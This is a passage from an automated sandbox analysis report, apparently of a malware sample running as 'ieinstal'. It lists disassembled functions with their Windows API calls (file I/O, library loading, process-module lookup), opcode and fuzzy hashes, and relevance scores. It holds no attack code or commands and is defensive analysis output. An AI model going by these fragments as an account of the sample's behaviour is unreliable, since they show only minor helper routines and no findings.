                                                                                                                            • FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Library$Load$AddressDirectoryFreeProcSystemmemsetwcscatwcscpy
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3150196962-0
                                                                                                                            • Opcode ID: e13bd3a8970da8505fcd32bc3817dd57930a815364b2861f31204fc1a755a47e
                                                                                                                            • Instruction ID: e973b1bd6c29085855c002f2d91bff7161adaf38cfdf5e3d51a6561f1cc66020
                                                                                                                            • Opcode Fuzzy Hash: e13bd3a8970da8505fcd32bc3817dd57930a815364b2861f31204fc1a755a47e
                                                                                                                            • Instruction Fuzzy Hash: D90192B1100211AAD6319FA6CC04D1BFAE9EFC0750B20883FF1D9E25A0D7B49881DB69
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004152C6 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 27COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            • failed to allocate %u bytes of memory, xrefs: 004152F0
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: malloc
                                                                                                                            • String ID: failed to allocate %u bytes of memory
                                                                                                                            • API String ID: 2803490479-1168259600
                                                                                                                            • Opcode ID: 5362f241c04528c046f9391a2b70be4ceaf2b9bead8481f91e416c113c2d710c
                                                                                                                            • Instruction ID: 101c51dc2fc609bd9d1e0073b1fda66f00508c6688545faad3e4fa21ce9dc4bd
                                                                                                                            • Opcode Fuzzy Hash: 5362f241c04528c046f9391a2b70be4ceaf2b9bead8481f91e416c113c2d710c
                                                                                                                            • Instruction Fuzzy Hash: 11E0DFB7B02A12A3C200561AED01AC667959FC122572B013BF92CD3681E638D89687A9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040B1AB Relevance: 3.0, APIs: 2, Instructions: 14COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 613200358-0
                                                                                                                            • Opcode ID: 4a6bf56a3c8e18f25b9487746213253c86c510b1b99403974ad2cc9a69351a87
                                                                                                                            • Instruction ID: 7f33cc2486ffea160e999b9abaf125df84647c5341351ad01334bd221cd3bada
                                                                                                                            • Opcode Fuzzy Hash: 4a6bf56a3c8e18f25b9487746213253c86c510b1b99403974ad2cc9a69351a87
                                                                                                                            • Instruction Fuzzy Hash: 32D042B0404B008ED7B0DF39D401602BBF0AB093143118D2E90AAC2A50E775A0149F08
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040B0B5 Relevance: 3.0, APIs: 2, Instructions: 7COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 613200358-0
                                                                                                                            • Opcode ID: 536c2047bffc8dd9b34700d623eb618271f55ea3451f57cc7c37cab4f8277461
                                                                                                                            • Instruction ID: 93a37c1a4f050773dc1a5674df64ec50811fc8a39a1cc3e4a9db11821b00e242
                                                                                                                            • Opcode Fuzzy Hash: 536c2047bffc8dd9b34700d623eb618271f55ea3451f57cc7c37cab4f8277461
                                                                                                                            • Instruction Fuzzy Hash: A0B012310281004DEB057BA1B8061142302C64332E3B3413FE000500A3DE5D6034140F
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041BC3B Relevance: 2.7, APIs: 2, Instructions: 195COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcmpmemset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1065087418-0
                                                                                                                            • Opcode ID: c380604b195766abe84e73715a049d0373e74049267bc02831dab12048305386
                                                                                                                            • Instruction ID: cf105cae5e27f97c9cd1c3f46a8d5e16e2707a712041142e317bfb3d1f631299
                                                                                                                            • Opcode Fuzzy Hash: c380604b195766abe84e73715a049d0373e74049267bc02831dab12048305386
                                                                                                                            • Instruction Fuzzy Hash: 2A615B71A01349EBDB14EFA495815EEB7B4EB04308F1440AFE609D3241E738AED4DB99
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00418C63 Relevance: 2.6, APIs: 2, Instructions: 132COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2221118986-0
                                                                                                                            • Opcode ID: 1314b8a525b96e130b2fbb6cbe3c7ee378288528e928e0e3fe9c348834c14d1c
                                                                                                                            • Instruction ID: 1d54aaebfbdefc3985b5f7374fea00c82d73a4224d5df9dcd637b0600b3a95b1
                                                                                                                            • Opcode Fuzzy Hash: 1314b8a525b96e130b2fbb6cbe3c7ee378288528e928e0e3fe9c348834c14d1c
                                                                                                                            • Instruction Fuzzy Hash: B2415872500701EFDB349F60E8848AAB7F5FB18314720492FE54AC7690EB38E9C58B98
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00403988 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00403A16: memset.MSVCRT ref: 00403A55
                                                                                                                              • Part of subcall function 0040A02C: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,02000000,00000000,00000000,00000000,004039CA,00000000,?,00000000,?,00000000), ref: 0040A044
                                                                                                                              • Part of subcall function 0040A02C: GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 0040A058
                                                                                                                              • Part of subcall function 0040A02C: FindCloseChangeNotification.KERNELBASE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,004455D5), ref: 0040A061
                                                                                                                            • CompareFileTime.KERNEL32(?,?,00000000,?,00000000), ref: 004039D4
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: File$Time$ChangeCloseCompareCreateFindNotificationmemset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1481295809-0
                                                                                                                            • Opcode ID: 56a49437465c6dd79f718b685576690655c489aaf9a54b49d185ed9555da5ee2
                                                                                                                            • Instruction ID: d476be81a684c5cf971044fbd14bb177a9e73989d843208b34704cc982626f94
                                                                                                                            • Opcode Fuzzy Hash: 56a49437465c6dd79f718b685576690655c489aaf9a54b49d185ed9555da5ee2
                                                                                                                            • Instruction Fuzzy Hash: 11111CB6D00218ABCB11EFA5D9415DEBBB9EF44315F20407BE841F7281DA389F45CB95
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004135F7 Relevance: 1.5, APIs: 1, Instructions: 44libraryloaderCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 004135E0: FreeLibrary.KERNELBASE(?,00413603,00000000,0044557A,?,?,?,?,?,00403335,?), ref: 004135EC
                                                                                                                              • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                              • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                                                              • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                              • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                                                            • GetProcAddress.KERNEL32(?,00000000), ref: 0041362A
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Library$Load$AddressDirectoryFreeProcSystemmemsetwcscatwcscpy
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3150196962-0
                                                                                                                            • Opcode ID: 102e9bd218bff8034664a90f9159d5d227e7736aeb8d0cece17e8d9bf5f2cb6a
                                                                                                                            • Instruction ID: 35a9ad0fe6b4507ee66bae46934dcfd2e139bf0842d10804986ce3ee8b034d80
                                                                                                                            • Opcode Fuzzy Hash: 102e9bd218bff8034664a90f9159d5d227e7736aeb8d0cece17e8d9bf5f2cb6a
                                                                                                                            • Instruction Fuzzy Hash: BBF0A4311447126AE6306B7AAC02BE762849F00725F10862EB425D55D1EFA8D5C046AC
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004062A6 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • SetFilePointerEx.KERNELBASE(0040627C,?,?,00000000,00000000,00000000,004068F9,00000000,00000000,?,00000000,0040627C), ref: 004062C2
                                                                                                                              • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: File$PointerRead
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3154509469-0
                                                                                                                            • Opcode ID: f15afef8f4b97f48ba7652cd85e3a24bc41a353f13de395cadc5358a8aad8795
                                                                                                                            • Instruction ID: d794e9b43e5f56b2d2e2073d65b81241c22a9a75ad02cc9b2284f18e77a2fe0f
                                                                                                                            • Opcode Fuzzy Hash: f15afef8f4b97f48ba7652cd85e3a24bc41a353f13de395cadc5358a8aad8795
                                                                                                                            • Instruction Fuzzy Hash: 45E01276100100FFE6619B05DC06F57FBB9FBD4710F14883DB59596174C6326851CB25
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00414561 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetPrivateProfileIntW.KERNEL32(?,?,?,?), ref: 00414588
                                                                                                                              • Part of subcall function 004143F1: memset.MSVCRT ref: 00414410
                                                                                                                              • Part of subcall function 004143F1: _itow.MSVCRT ref: 00414427
                                                                                                                              • Part of subcall function 004143F1: WritePrivateProfileStringW.KERNEL32(?,?,00000000), ref: 00414436
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: PrivateProfile$StringWrite_itowmemset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 4232544981-0
                                                                                                                            • Opcode ID: 58bd15f6e23597088465cc0f12acd7a0529fd6d647dc9a4ec136155e63c93ad6
                                                                                                                            • Instruction ID: 104e910b762de94586eb11e4c264cf061db1895f8dce3fe8c281d71359574313
                                                                                                                            • Opcode Fuzzy Hash: 58bd15f6e23597088465cc0f12acd7a0529fd6d647dc9a4ec136155e63c93ad6
                                                                                                                            • Instruction Fuzzy Hash: 8EE09232000209ABDF125F91EC01AA93B66FF54315F548469F95C05520D33295B0AB59
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00444A54 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • FreeLibrary.KERNELBASE(?,?,004452FB,?,?,?,0040333C,?), ref: 00444A65
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: FreeLibrary
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3664257935-0
                                                                                                                            • Opcode ID: 8c39ef9eaf727128d218f1dddc73c1f621731b9859e7ea9690b0e693fd97a8de
                                                                                                                            • Instruction ID: 9043d1e372537a54137ae43dcd20834ee918eeaa55a47e8e1dedab4d47514996
                                                                                                                            • Opcode Fuzzy Hash: 8c39ef9eaf727128d218f1dddc73c1f621731b9859e7ea9690b0e693fd97a8de
                                                                                                                            • Instruction Fuzzy Hash: E2E0F6B5900B018FD3708F1BE944406FBF8BFE56113108A1FD4AAC2A24D7B4A1898F54
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00413F27 Relevance: 1.5, APIs: 1, Instructions: 15COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00413F6F
                                                                                                                              • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 00413F7B
                                                                                                                              • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00413F87
                                                                                                                              • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00413F93
                                                                                                                              • Part of subcall function 00413F4F: GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00413F9F
                                                                                                                            • K32GetModuleFileNameExW.KERNEL32(00000104,00000000,00413E1F,00000104,00413E1F,00000000,?), ref: 00413F46
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AddressProc$FileModuleName
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3859505661-0
                                                                                                                            • Opcode ID: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
                                                                                                                            • Instruction ID: eb737a8a997ed41d0f7a348c178ce8d4b8225706e43eb580f21eee6dbde26bc7
                                                                                                                            • Opcode Fuzzy Hash: 115f5329003125d907eaa6c1792e5f10a4de8ddb58c38107801da2991a4e6f4b
                                                                                                                            • Instruction Fuzzy Hash: 6FD02231B083007BEA20EE70CC00FCBA2F47F40F12F008C5AB191D2080C374C9495305
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040A2EF Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: FileRead
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2738559852-0
                                                                                                                            • Opcode ID: 954c46e0e75d823fede48ea8c55c2feae074eed5d1d1543d384a91c6a040f523
                                                                                                                            • Instruction ID: df780c2d30ec27a436fe2e8938b9b3026ee6fdf868a35847a3a0dbf755fefbc9
                                                                                                                            • Opcode Fuzzy Hash: 954c46e0e75d823fede48ea8c55c2feae074eed5d1d1543d384a91c6a040f523
                                                                                                                            • Instruction Fuzzy Hash: 6DD0C97505020DFBDF01CF81DC06FDD7B7DFB05359F108054BA0095060C7759A15AB55
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040A30E Relevance: 1.5, APIs: 1, Instructions: 13fileCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • WriteFile.KERNELBASE(?,00000009,?,00000000,00000000,?,?,00402F9B,?,00000000,00000000,00000000,0000017E), ref: 0040A325
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: FileWrite
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3934441357-0
                                                                                                                            • Opcode ID: ceb9d1a6229db680868981d1c52190471358147ed4569e3c2bde9500725be326
                                                                                                                            • Instruction ID: 3280266517864b8de079c100525e5277478ec149926fcdeece843fe2c70d8c86
                                                                                                                            • Opcode Fuzzy Hash: ceb9d1a6229db680868981d1c52190471358147ed4569e3c2bde9500725be326
                                                                                                                            • Instruction Fuzzy Hash: CFD0C93501020DFBDF01CF81DC06FDD7BBDFB04359F108054BA1095060D7B59A20AB94
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00413D29 Relevance: 1.5, APIs: 1, Instructions: 13COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • FreeLibrary.KERNELBASE(00000000,004457F2,00000000,000001F7,00000000), ref: 00413D30
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: FreeLibrary
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3664257935-0
                                                                                                                            • Opcode ID: 4aed56dde2bff02888507ea152729a1ee15f70291d16ca6bd798c1e7fc2ec88c
                                                                                                                            • Instruction ID: 8f6381f957debc367d4a0444659be52de1bfd3a154b3998764173f6a98a011bd
                                                                                                                            • Opcode Fuzzy Hash: 4aed56dde2bff02888507ea152729a1ee15f70291d16ca6bd798c1e7fc2ec88c
                                                                                                                            • Instruction Fuzzy Hash: 1DD0C9765002229BDB10AF26EC057857378FF00712B110425E810B7594D778BEE68ADC
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040B633 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 613200358-0
                                                                                                                            • Opcode ID: 708d35572adfbd8c0afef1fefac48864b5998db401338d2add0cc9d49b5fd8aa
                                                                                                                            • Instruction ID: 84c58710a9e867f17c2d1ed9f7495b278bdfae561cd9e9721482330d0bfefd66
                                                                                                                            • Opcode Fuzzy Hash: 708d35572adfbd8c0afef1fefac48864b5998db401338d2add0cc9d49b5fd8aa
                                                                                                                            • Instruction Fuzzy Hash: 48C00272510B018FEB209E16C405762B3E4AF5173BF928C1D949591481D77CE4448A1D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004096C3 Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CreateFile
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 823142352-0
                                                                                                                            • Opcode ID: 5246709bc6ec1dabf70528f5ad42ffc01d78c7e2d09fe5df7c46969d7a5ea179
                                                                                                                            • Instruction ID: 15e4bfb1af8ab284213ec8af4af1ca3ed9a3c322684c6da9746693c795416a08
                                                                                                                            • Opcode Fuzzy Hash: 5246709bc6ec1dabf70528f5ad42ffc01d78c7e2d09fe5df7c46969d7a5ea179
                                                                                                                            • Instruction Fuzzy Hash: A8C092B0280200BEFE224B10EC15F36755CE744700F2008247E40F40E0C1605E108524
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004096DC Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • CreateFileW.KERNELBASE(00000001,40000000,00000001,00000000,00000002,00000000,00000000,0040E0F1,00000104), ref: 004096EE
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CreateFile
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 823142352-0
                                                                                                                            • Opcode ID: ab7a8cdf7eb8bf952c1c1b88a04d9996938fd5cdd98684eb6691b5f60f9c195d
                                                                                                                            • Instruction ID: 13aef0f41518da9c32968a96bed17b980f0e8f352a8d1793a660c4ee04e7d177
                                                                                                                            • Opcode Fuzzy Hash: ab7a8cdf7eb8bf952c1c1b88a04d9996938fd5cdd98684eb6691b5f60f9c195d
                                                                                                                            • Instruction Fuzzy Hash: B8C012F02903007EFF204B10AC0AF37755DF784700F2048207E40F40E1C2B15C008524
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040AA04 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 613200358-0
                                                                                                                            • Opcode ID: 0d059ad067989d1f17bbe0e8521da585270b5c486309d81f35087ee814750848
                                                                                                                            • Instruction ID: 146ea39d6618054f0b1de7ea1636ea0e57db3b52e0d7afa8327ef8e2ad9437d0
                                                                                                                            • Opcode Fuzzy Hash: 0d059ad067989d1f17bbe0e8521da585270b5c486309d81f35087ee814750848
                                                                                                                            • Instruction Fuzzy Hash: 18C012B29107018BFB308E15C409322B2E4AF0072BFA18C0D9090910C2C77CD080CA18
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040B04B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 613200358-0
                                                                                                                            • Opcode ID: ffbe44a51c26d842ca56a491b3c7d92fb1c4d2adc00a6a519549e0909776451f
                                                                                                                            • Instruction ID: 6ff791ec813821c2e9e24527ebed0d702daabad41f6d5d50af9b89e3d4ad0470
                                                                                                                            • Opcode Fuzzy Hash: ffbe44a51c26d842ca56a491b3c7d92fb1c4d2adc00a6a519549e0909776451f
                                                                                                                            • Instruction Fuzzy Hash: ADC09BB15117014BE7305F15D40471373D49F11727F318C1DA5D1914C2D77CD4408518
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004135E0 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • FreeLibrary.KERNELBASE(?,00413603,00000000,0044557A,?,?,?,?,?,00403335,?), ref: 004135EC
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: FreeLibrary
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3664257935-0
                                                                                                                            • Opcode ID: 844f7501f44133ba018c3401d7aef3826eb6c790b17bce713828cee3c51aa695
                                                                                                                            • Instruction ID: 97b2006ec1e2dd28fddd19cbcf35086f2a6b1d7d6d8af37d8808782836c913ed
                                                                                                                            • Opcode Fuzzy Hash: 844f7501f44133ba018c3401d7aef3826eb6c790b17bce713828cee3c51aa695
                                                                                                                            • Instruction Fuzzy Hash: C1C04C355107129BE7318F22C849793B3E8BB00767F40C818A56A85454D7BCE594CE28
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041493C Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • EnumResourceNamesW.KERNELBASE(?,?,Function_000148B6,00000000), ref: 0041494B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: EnumNamesResource
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3334572018-0
                                                                                                                            • Opcode ID: 66f1156765df5e37ef2ff2f84c2d9879992723494834984b76c3e66af834c78a
                                                                                                                            • Instruction ID: 4cd0fc1a45efe5f4a77ff86a676eea9814a6d41529a344ef69fdb726e0e13cac
                                                                                                                            • Opcode Fuzzy Hash: 66f1156765df5e37ef2ff2f84c2d9879992723494834984b76c3e66af834c78a
